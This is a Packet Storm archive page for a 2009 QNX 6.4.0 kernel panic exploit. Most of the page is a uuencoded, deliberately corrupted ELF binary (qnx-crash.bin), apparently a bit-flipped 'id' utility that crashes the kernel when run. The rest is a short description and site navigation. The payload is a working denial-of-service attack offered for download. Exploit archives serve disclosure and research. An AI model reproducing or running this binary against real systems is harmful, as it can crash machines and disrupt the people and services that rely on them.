exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

QNX 6.4.0 ELF Binary Kernel Panic Exploit

QNX 6.4.0 ELF Binary Kernel Panic Exploit
Posted Jan 21, 2009
Authored by Knud Erik Hojgaard

QNX version 6.4.0 bitflipped ELF binary kernel panic exploit.

tags | exploit, kernel
SHA-256 | 67838071cfa1af9524bf3dc3ff8cf7b63e86e1c0ae90c47377b4190bfe6901ee

QNX 6.4.0 ELF Binary Kernel Panic Exploit

Change Mirror Download
begin 644 qnx-crash.bin
M?T5,1@$!`0``````````*@(``P`!````&(@$"#0```"F'0```````#0`(``&
M`"@`&0`8``;A```T````-(`$.@````#`````P`````7S```$`````P```/0`
M``#T@`0(`````!0````4````!`````$`RP`!````````^@"`!`@`@/X(P!``
M`,`0```%)````!````$`WP#`$```P*`$","@!`A``0``$`(```8`````$```
MQP``G-`0``!WH`0(`````+````"P````!@````0````C````"`$```B!!`@`
M````&````!@````$`````0```+AU0W(O;&EB+VQD<6YX+G-O+C(`!`````C\
M```#````44Y8````"```$```$0"I`"0````'````(```````B@`.````"@``
M`!Z:``````````````@```"(````'P```!0````3````(P```!4``/`<````
M&P```````````````0```((``````````````````````````````,D````&
M``````"G`*D````$````"0````+D```/^0`W"P``````````````#````!``
M```#``````````T'```2````&````!D````7````W0````7'```=````$0``
M```````A````(@``````````````%<,````````+`````````)`````2`(T`
M(<H```````#=````$@```(<`````````9P```!(````:`````````"T````2
M````)@"3`````$HV````$@```"X`````````;@```!(````W(0```*($"*(`
M```1`!(`/0`````````V````$@`V`$4`````````!0```!(```!4````````
M`'<````2````60```````+^)````(@```&@`````````-@```!*4``!O````
M(**G"$`````1`!)B=@```&"B!`@$C0``$0`2`(8``*\`````9````!(```".
M````9*($"`0````1`!(`"0$``!"(!`@`````$``2`)4`````````6````!(`
M``#H`````````((!```2````Q0$```"D!`@`````'0#Q_Z<`````````]`(`
M`!(```"N````-(D$",D%```2``H`LP```````+%X````$@```+T`````````
M.0```!(```#)`+8```!B`,X```"%````U@````````!N@```$@```-\``*<`
M````;@```!(```#H``````#;`$H``(P2````[P```("B!`A0````$9X2`/<`
M`,,`?```M````!(```#]``#U`````,8!```2````$`$```"B!`@`````$`#Q
M_R,!``#0H@0(`````!``\?_J`````````"(````2````!`$````````[````
M$@````!L:6)C+G-O+C,`<'5T8VAA<@!G971G:60`7VEN:71?87)R87D`9V5T
M975I9`!G971G<F=I9`!E<G)N;P!G971E9VED`%]P<F5I;FET7V%R<F%Y`'!U
M=',`7U]C>&%?9FEN86QI>F4`9V5T=6ED`%]&:6QE<P!?375L=&E?=&AR96%D
M960`9G!R:6YT9@!O<'1I;F0`<W1R9'5P`%]I;FET7VQI8F,`9V5T;W!T`&UA
M:6X`9V5T9W)O=7!S`%]F:6YI7V%R<F%Y`&=E=&=R;W5P;&ES=`!G971P=W5I
M9`!G971P=VYA;0!A=&5X:70`7U-T9&5R<@!F<'5T8P!F=W)I=&4`871O:0!?
M8G1E>'0`7V5D871A`%]?8G-S7W-T87)T`%]E;F0`_*$$"`8+````H@0(!0<`
M`""B!`@%#0``8*($"`4.``!DH@0(!1```("B!`@%'0``F*$$"`<!``"<H00(
M!P(``*"A!`@'`P``I*$$"`<$``"HH00(!P4``*RA!`@'!@``L*$$"`<(``"T
MH00(!PD``+BA!`@'"@``O*$$"`<+``#`H00(!PP``,2A!`@'#P``R*$$"`<2
M``#,H00(!Q,``-"A!`@'%0``U*$$"`<7``#8H00(!Q@``-RA!`@'&0``X*$$
M"`<:``#DH00(!QL``.BA!`@''```[*$$"`<>``#PH00(!Q\``/2A!`@'(@``
M^*$$"`<C``#HGP@``,(``/\UD*$$"/\EE*$$"`````#_)9BA!`AH`````.G@
M_____R6<H00(:`@```#IT/____\EH*$$"&@0````Z<#_____):2A!`AH&```
M`.FP_____R6HH00(:"````#IH/____\EK*$$"&@H````Z9#_____);"A!`AH
M,````.F`_____R6TH00(:#@```#I</____\EN*$$"&A`````Z6#_____);RA
M!`AH2````.E0_____R7`H00(:%````#I0/____\EQ*$$"&A8````Z3#_____
M)<BA!`AH8````.D@_____R7,H00(:&@```#I$/____\ET*$$"&AP````Z0#_
M____)=2A!`AH>````.GP_O___R78H00(:(````#IX/[___\EW*$$"&B(````
MZ=#^____)>"A!`AHD````.G`_O___R7DH00(:)@```#IL/[___\EZ*$$"&B@
M````Z:#^____)>RA!`AHJ````.F0_O___R7PH00(:+````#I@/[___\E]*$$
M"&BX````Z7#^____)?BA!`AHP````.E@_O__````````````````3DE!332)
M!`B)TXLT)(U,)`2-!+&->`2-4`B#>`0`=`F+`H/"!(7`=?=34E=15N@!____
M:,"@!`AHP*`$".B2_O__@\0(:$B/!`CH5?___X/$!&C`H`0(:,"@!`CH`___
M_X/$".CC_?__:,"@!`AHP*`$".@<_O__@\0(QP4`H@0(`````.B:````4.A$
M____S)"0D)"0D)"0D)"0D)"0D%6)Y5/H3P```('#TQ@``(/L!(N+<````(7)
M=""+@_3___^)!"3H*O[__^L0C70F`(/`!(F#^/____]0_(N#^/___XL0A=)U
MZ(/$!%M=PV:058GE@^P(R<.+'"3#58GEBU4(#[8*C4'0/`EW#@^V2@&#P@&-
M0=`\"7;RA,D/E,`/ML!=PXU,)`2#Y/#_<?Q5B>575E-1@^QXBQF+<03'1>P`
M````QT60`````,=%E`````#'19@`````OP````#'19P`````QT6@`````.M(
M@^A'@_@N=RG_)(4$D`0(OP$```#K+L=%E`$```#K)<=%H`$```#K',=%G`$`
M``#K$\<$)`$```#H*?[__\=%F`$```"#19`!QT0D"%"/!`B)="0$B1PDZ'K]
M__^#^/]UGXM%F`-%E`'X@_@!?Q2)^(A%C@^V59R(58^$P'0TA-)T,,=$)`R`
MH@0(QT0D""0```#'1"0$`0```,<$)*B/!`CHL/W__\<$)`$```#HM/W__Z%D
MH@0(.<,/C@H!``"+-(:#P`&C9*($"#G#?C#'1"0,@*($",=$)`@Q````QT0D
M!`$```#'!"30CP0(Z&3]___'!"0!````Z&C]__^%]@^$PP```(DT).@8_?__
MA<!U1(DT).AT_O__A<!T%(DT).A0_?__B00DZ.C\__^%P'4DB70D",=$)`16
MCP0(QP0D@*($".A<_/__QP0D`0```.@0_?__BW`,BU`(B56DBP")!"3H3?S_
M_XE%K(DT).C2^___QT6T;8\$"(7`=`V+`(D$).@M_/__B46TQT7L"````(U%
M[(E$)`R-1<B)1"0(B70D!(M%K(D$).A6_/__BU6DB56HB?>+1:R)1;"+5;2)
M5;CIT@```.@X^___B<;HP?O__XE%I.A9^___B46HZ''[__^)QXM%I(D$).@D
M_/__QT6L;8\$"(7`=`V+`(D$).BO^___B46LB30DZ#3[___'1;1MCP0(A<!T
M#8L`B00DZ(_[__^)1;2+5:R)5;"+1:@Y1:1T(XM5J(D4).C3^___QT6P;8\$
M"(7`=`V+`(D$).A>^___B46PBT6TB46X.?YT((D\).C9^O__QT6X;8\$"(7`
M=`V+`(D$).@T^___B46XC47(B40D!,<$)`@```#H3OO__XE%[(-]D``/A6\!
M``"+5:2)5"0$QP0D?8\$".A>^O__BT6L@#@`=!")1"0$QP0D;H\$".A&^O__
MB70D!,<$)'./!`CH-OK__XM5M(`Z`'00B50D!,<$)&Z/!`CH'OK__XM%I#E%
MJ'0KBU6HB50D!,<$)'N/!`CH`_K__XM%L(`X`'00B40D!,<$)&Z/!`CHZ_G_
M_SGW="B)?"0$QP0DA(\$".C7^?__BU6X@#H`=!")5"0$QP0D;H\$".B_^?__
MBT7L@_@!#XZE````A<`/CIT```#'1;P!````NP$```"#?;P`=!7'!"2-CP0(
MZ(WY___'1;P`````ZS*+%22B!`B#/6"B!`@`=0B+0A`[0AAR$HE4)`3'!"0L
M````Z(WZ___K"<8`+(/``8E"$(M$G<2)1"0$QP0DFX\$".@^^?__BT2=Q(D$
M).AB^?__A<!T$HL`B40D!,<$)&Z/!`CH'/G__XG8@\,!.47L#X]O____QP0D
M"@```.CB^/__@'V.``^$SP```(-]H`!T+(M%M(E$)`3'!"27CP0(Z-_X__\Y
M]W0YBU6XB50D!,<$)):/!`CHR/C__^LDB70D!,<$))N/!`CHMOC__SGW=!")
M?"0$QP0DFH\$".BB^/__@WWL`7YGNP(```"+1)W$.?AT4#G&=$R#?:``=#:)
M!"3HK?C__X7`=!2+`(E$)`3'!"26CP0(Z&?X___K)HM$G<2)1"0$QP0DGH\$
M".A1^/__ZQ")1"0$QP0DGH\$".@_^/__B=B#PP$Y1>Q_GL<$)`H```#H"?C_
M_X-]E`!T-X-]H`!T&8!]CP!U!HM%N(E%M(M5M(D4).AF^/__ZQB`?8\`=0*)
M_HET)`3'!"2CCP0(Z.SW__^#?9@`=#Z#?:``=!F`?8\`=0:+1;")1:R+5:R)
M%"3H*?C__^L?@'V/`'4&BT6HB46DBU6DB50D!,<$)**/!`CHJ/?__[@`````
M@\1X65M>7UV-8?S#D)"058GE4^C_^?__@<.#$@``@^P$BX/\____BP"#^/]T
M&9#_T(N#_/___X/H!(F#_/___XL`@_C_=>B#Q`1;7<-FD%6)Y8/L",G#Z&/Y
M___"``!'9VYR=0!I9#H@=7-E<B`E<R!N;W0@9F]U;F0N"@`H)7,I`"!G:60]
M)74`(&5U:60])74`(&5G:60])74`(&=R;W5P<ST`("5S`"`E=0`@)60`("5U
M"@``:60Z($EN=F%L:60@8V]M8FEN871I;VX@;V8@;W!T:6]N<RX*`````&ED
M.B!/;FQY(&]N92!U<V5R(&UA>2!B92!S<&5C:69I960@87,@86X@;W!E<F%N
M9`H```"-B00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(
MKXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`BO
MB00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$")2)
M!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`B=B00(KXD$"*^)!`BOB00(IHD$
M"*^)!`BOB00(NXD$"/____\`````_____P`````!`````0````P```!<A@0(
M#0```$B/!`@$````(($$"`4````\A`0(!@```/R!!`@*````*`$```L````0
M````%0`````````#````C*$$"`(```#(````%````!$````7````E(4$"!$`
M``!DA00($@```#`````3````"```````````````````````````````````
M`````````````````````````````````("A!`C,H`0(P*`$"-"@!`@`````
M`````'J&!`B*A@0(FH8$"*J&!`BZA@0(RH8$"-J&!`CJA@0(^H8$"`J'!`@:
MAP0(*H<$"#J'!`A*AP0(6H<$"&J'!`AZAP0(BH<$")J'!`BJAP0(NH<$",J'
M!`C:AP0(ZH<$"/J'!`@```````````!'0T,Z("A'3E4I(#0N,BXT``!'0T,Z
M("A'3E4I(#0N,BXT``!'0T,Z("A'3E4I(#0N,BXT````````````````````
M````````](`$"``````#``$```````B!!`@``````P`"```````@@00(````
M``,``P``````_($$"``````#``0``````#R$!`@``````P`%``````!DA00(
M``````,`!@``````E(4$"``````#``<``````%R&!`@``````P`(``````!D
MA@0(``````,`"0``````$(@$"``````#``H``````$B/!`@``````P`+````
M``!0CP0(``````,`#```````P*`$"``````#``T``````,B@!`@``````P`.
M``````#0H`0(``````,`#P``````@*$$"``````#`!```````(RA!`@`````
M`P`1````````H@0(``````,`$@`````````````````#`!,``0````$`````
M``````#Q_PD````!````````````\?\!`````0```````````/'_"0````$`
M``````````#Q_Q$```````````````0`\?\!`````0```````````/'_"0``
M``$```````````#Q_QH`````CP0(``````(`"@`P````B*$$"``````!`!``
M-P```$"/!`@``````@`*`$(```#,H`0(``````$`#@!/````Q*`$"``````!
M``T`7```````````````!`#Q_P$````!````````````\?\)`````0``````
M`````/'_9P```+"(!`@``````@`*`'T```"$H00(``````$`$`"$`````(D$
M"``````"``H`CP```,B@!`@``````0`.`)T```#`H`0(``````$`#0"K````
M```````````$`/'_L````-"@!`@``````0(/`+D```#`H`0(```````"#0#*
M````P*`$"````````@T`W0```,"@!`@```````(-`.X```#`H`0(```````"
M#0`"`0``C*$$"``````!`A$`&`$``,"@!`@```````(-`"L!``#`H`0(````
M```"#0!!`0```````"T````2````20$````````V````$@```%`!````````
M9P```!(```!7`0```````"T````2````8P$````````V````$@```&L!````
M````;@```!(```!T`0```*($"`0````1`!(`>@$````````V````$@```((!
M````````!0```!(```"1`0```````'<````2````E@$```````"?````(@``
M`*4!````````-@```!(```"L`0``@*$$"``````1`A``N0$``""B!`A`````
M$0`2`,`!``!<A@0(`````!(`"`#&`0``8*($"`0````1`!(`U@$```````!D
M````$@```-X!``!DH@0(!````!$`$@#E`0``&(@$"(D````2``H`[`$``!"(
M!`@`````$``*`/,!````````6````!(```#Z`0```````((!```2````!0(`
M``"B!`@`````$`#Q_Q$"````````]`(``!(````8`@``-(D$",D%```2``H`
M'0(```````!X````$@```"<"````````.0```!(````S`@```````,X````2
M````0`(```````!N````$@```$D"````````;@```!(```!2`@``2(\$"```
M```2``L`6`(```````!*````$@```%\"```,B00(*````!(`"@!L`@``@*($
M"%`````1`!(`=`(```````"T````$@```'H"````````Q@$``!(```"!`@``
M`*($"``````0`/'_B`(```B)!`@`````$@(*`)\"``#0H@0(`````!``\?^D
M`@```````"(````2````J0(````````[````$@````!?7W!I8U]?`%]?4$E#
M7U\`8W)T96YD+F,`7U]D;U]G;&]B86Q?8W1O<G-?875X`'`N,34R.`!I;FET
M7V1U;6UY`%]?1%1/4E]%3D1?7P!?7T-43U)?14Y$7U\`8W)T8F5G:6XN8P!?
M7V1O7V=L;V)A;%]D=&]R<U]A=7@`<"XQ-3,Q`&9I;FE?9'5M;7D`7U]$5$]2
M7TQ)4U1?7P!?7T-43U)?3$E35%]?`&ED+F,`7T193D%-24,`7U]F:6YI7V%R
M<F%Y7V5N9`!?7V9I;FE?87)R87E?<W1A<G0`7U]I;FET7V%R<F%Y7V5N9`!?
M7W!R96EN:71?87)R87E?96YD`%]'3$]"04Q?3T9&4T547U1!0DQ%7P!?7VEN
M:71?87)R87E?<W1A<G0`7U]P<F5I;FET7V%R<F%Y7W-T87)T`'!U=&-H87(`
M9V5T9VED`'!R:6YT9@!?:6YI=%]A<G)A>0!G971E=6ED`&=E=&=R9VED`&5R
M<FYO`&=E=&5G:60`7W!R96EN:71?87)R87D`<'5T<P!?7V-X85]F:6YA;&EZ
M90!G971U:60`7U]D<V]?:&%N9&QE`%]&:6QE<P!?:6YI=`!?375L=&E?=&AR
M96%D960`9G!R:6YT9@!O<'1I;F0`7W-T87)T`%]B=&5X=`!S=')D=7``7VEN
M:71?;&EB8P!?7V)S<U]S=&%R=`!G971O<'0`;6%I;@!G971G<F]U<',`7V9I
M;FE?87)R87D`9V5T9W)O=7!L:7-T`&=E='!W=6ED`&=E='!W;F%M`%]F:6YI
M`&%T97AI=`!I<V%L;&YU;65R:6,`7U-T9&5R<@!F<'5T8P!F=W)I=&4`7V5D
M871A`%]?:38X-BYG971?<&-?=&AU;FLN8G@`7V5N9`!E>&ET`&%T;VD`)4,@
M+2!R971U<FX@=7-E<B!)1"`H4$]325@I"@HE0R`@("`@(%MU<V5R70HE0R`@
M("`@("U'(%LM;ET@6W5S97)="B5#("`@("`@+6<@6RUN<ET@6W5S97)="B5#
M("`@("`@+74@6RUN<ET@6W5S97)="D]P=&EO;G,Z"B`M1R`@("`@("!/=71P
M=70@86QL(&1I9F9E<F5N="!G<F]U<"!)1',@*&5F9F5C=&EV92!A;F0@<F5A
M;"D*"0D@(&]N;'DL(&%S('5N<VEG;F5D(&EN=&5G97)S+@H@+6<@("`@("`@
M3W5T<'5T(&]N;'D@=&AE(&5F9F5C=&EV92!G<F]U<"!)1"P@87,@86X@=6YS
M:6=N960@:6YT96=E<BX*("UN("`@("`@($]U='!U="!T:&4@:61S(&EN('1H
M96ER(&-H87)A8W1E<B!S=')I;F<@9F]R;2!I;G-T96%D(&]F"@D@('5N<VEG
M;F5D(&EN=&5G97)S+@H@+7(@("`@("`@3W5T<'5T('1H92!R96%L($E$(&EN
M<W1E860@;V8@=&AE(&5F9F5C=&EV92!)1"X*("UU("`@("`@($]U='!U="!O
M;FQY('1H92!E9F9E8W1I=F4@=7-E<B!)1"P@87,@86X@=6YS:6=N960@:6YT
M96=E<BX*3D%-13UI9`I$15-#4DE05$E/3CUR971U<FX@=7-E<B!I9`I$051%
M/3(P,#@O,3`O,C$M,#(Z-30Z,3<M1414"E-4051%/5-T86)L90I(3U-4/71R
M=6YK8G5I;&0*55-%4CUB=6EL9&5R"E9%4E-)3TX]-BXT+C`*`"YS>6UT86(`
M+G-T<G1A8@`N<VAS=')T86(`+FEN=&5R<``N;F]T90`N:&%S:``N9'EN<WEM
M`"YD>6YS='(`+G)E;"YD>6X`+G)E;"YP;'0`+FEN:70`+G1E>'0`+F9I;FD`
M+G)O9&%T80`N8W1O<G,`+F1T;W)S`"YD>6YA;6EC`"YD871A`"YG;W0`+F)S
M<P`N8V]M;65N=`!13EA?=7-A9V4`44Y87VEN9F\`````````````````````
M`````````````````````````````````!L````!`````@```/2`!`CT````
M%````````````````0`````````C````!P`````````(@00("`$``!@`````
M``````````$`````````*0````4````"````(($$""`!``#<````!```````
M```$````!````"\````+`````@```/R!!`C\`0``0`(```4````!````!```
M`!`````W`````P````(````\A`0(/`0``"@!``````````````$`````````
M/P````D````"````9(4$"&0%```P````!``````````$````"````$@````)
M`````@```)2%!`B4!0``R`````0````)````!`````@```!1`````0````8`
M``!<A@0(7`8```@```````````````$`````````3`````$````&````9(8$
M"&0&``"@`0`````````````$````!````%<````!````!@```!"(!`@0"```
M.`<`````````````$`````````!=`````0````8```!(CP0(2`\```@`````
M``````````$`````````8P````$````"````4(\$"%`/``!P`0``````````
M```$`````````&L````!`````P```,"@!`C`$```"```````````````!```
M``````!R`````0````,```#(H`0(R!````@```````````````0`````````
M>0````8````#````T*`$"-`0``"P````!0`````````$````"````((````!
M`````P```("A!`B`$0``#```````````````!`````````"(`````0````,`
M``",H00(C!$``'0```````````````0````$````C0````@````#`````*($
M"``2``#0```````````````@`````````)(````!```````````````$$@``
M-@```````````````0`````````!`````@``````````````.A(``*`%```5
M````,0````0````0````"0````,``````````````-H7``"N`@``````````
M```!`````````)L````!``````````````"(&@``^`$`````````````````
M``````"E`````0``````````````@!P``'@`````````````````````````
H$0````,``````````````/@<``"N```````````````!````````````
`
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close